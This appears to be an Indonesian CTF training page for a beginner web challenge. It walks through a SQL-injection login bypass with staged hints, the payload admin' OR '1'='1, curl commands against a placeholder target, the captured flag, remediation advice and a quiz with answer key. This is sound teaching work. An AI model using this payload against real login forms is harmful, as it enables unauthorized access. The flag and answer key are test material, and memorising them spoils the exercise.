[ SOAL · CONTOH FORMAT LMS ] Portal Pemantauan Server¶

Ini contoh standar bagaimana setiap write-up diubah jadi halaman soal interaktif (format hybrid): pemula mencoba dulu → dibantu hint bertahap → baru buka solusi → lalu refleksi. Patokan untuk konversi seluruh arsip.

🎯 Info Soal¶


Track	🌐 Web Exploitation
Kesulitan	Easy (Week 1)
Poin	100
Prasyarat	F7 (Web/HTTP), F4 (Linux dasar)
Teknik	SQL Injection (auth bypass)

📖 Narasi¶

Sebuah portal pemantauan server punya halaman Login Administrator. Tim menduga: "Akses tidak sah seringkali bukan soal kata sandi yang lemah, melainkan logika yang cacat." Temukan flag di balik panel admin.

🔗 Target latihan: (instance akan disediakan di platform)

🧪 Coba Dulu Sendiri (5–15 menit)¶

Sebelum lihat hint, coba jawab pertanyaan ini di kepalamu: 1. Di mana titik input yang berinteraksi dengan database? (ingat F7) 2. Apa yang terjadi kalau input "merusak" struktur query SQL? 3. Bagaimana membuat kondisi login selalu bernilai benar?

💡 Ingat metodologi F13: Pahami → Recon → Hipotesis → Eksploitasi → Flag.

🪜 Hint Bertahap¶

Buka satu per satu hanya saat benar-benar buntu.

Hint 1 — Mulai dari mana?

Lakukan **recon** dulu. Lihat halaman utama: cek **komentar HTML** & link nav. Sering ada endpoint tersembunyi seperti `/auth/login.php`.

Hint 2 — Apa kelemahannya?

Form login mengirim `username` & `password` ke server, lalu kemungkinan dipakai di query seperti:

SELECT * FROM users WHERE username='$user' AND password='$pass'

Apa jadinya kalau `$user` mengandung tanda kutip `'`?

Hint 3 — Payload-nya

Buat kondisi `WHERE` selalu TRUE. Coba isi username dengan:

admin' OR '1'='1

dan password apa saja. Perhatikan: kutip menutup string `username`, lalu `OR '1'='1'` membuat seluruh kondisi benar.

Hint 4 — Setelah "login"?

Login sukses biasanya **redirect (302)** ke panel admin + memberi **cookie sesi**. Pakai cookie itu untuk mengakses `/admin/panel.php` dan baca isinya.

✅ Solusi Lengkap¶

🔓 Buka solusi (coba dulu, ya!)

**1) Recon** — homepage membocorkan endpoint via komentar:

<!-- /auth/login.php -->

**2) Uji SQLi** pada form login:

curl -sk -i -c cookie.txt https://TARGET/auth/login.php \
  --data-urlencode "username=admin' OR '1'='1" \
  --data-urlencode "password=x"

Respons:

HTTP/1.1 302 Found
Location: /admin/panel.php
Set-Cookie: PHPSESSID=...

Redirect = **auth bypass berhasil**. Query jadi:

SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='x'

Kondisi selalu TRUE → login tanpa password benar. **3) Ambil flag** dari panel pakai cookie:

curl -sk -b cookie.txt https://TARGET/admin/panel.php
# <div class="flag-box">flag{sql1_byp4ss_4dm1n_p4n3l}</div>

**Flag:** `flag{sql1_byp4ss_4dm1n_p4n3l}`

🛰️ Kacamata Intelijen Siber¶

SQLi auth bypass = contoh klasik "logika cacat": penyerang tak menebak password, tapi merusak asumsi developer. Analis belajar: jangan percaya input, dan periksa bagaimana data dipakai, bukan hanya apa isinya.

🛡️ Pelajaran & Remediasi (sisi Blue/Purple)¶

Prepared statements / parameterized query — jangan rangkai input ke SQL.
Simpan password sebagai hash (bcrypt/argon2), verifikasi di kode.
Kontrol akses panel admin harus bergantung sesi sah, bukan sekadar query sukses.
Input validation + WAF + akun DB least-privilege.

🧠 Uji Pemahaman¶

1. Kenapa payload admin' OR '1'='1 membuat login berhasil? 2. Apa satu perbaikan paling efektif untuk mencegah SQLi? 3. Setelah login bypass, apa yang dipakai untuk mengakses panel admin?

🔑 Kunci

1. Tanda kutip menutup string username lalu `OR '1'='1'` membuat kondisi `WHERE` selalu TRUE → baris user ditemukan tanpa password benar. 2. **Prepared statements / parameterized queries** (memisahkan kode SQL dari data). 3. **Cookie sesi** (`PHPSESSID`) yang diberikan saat login sukses.

LIGHTSIBER · Contoh format soal (hybrid) · turunan dari W1-C1.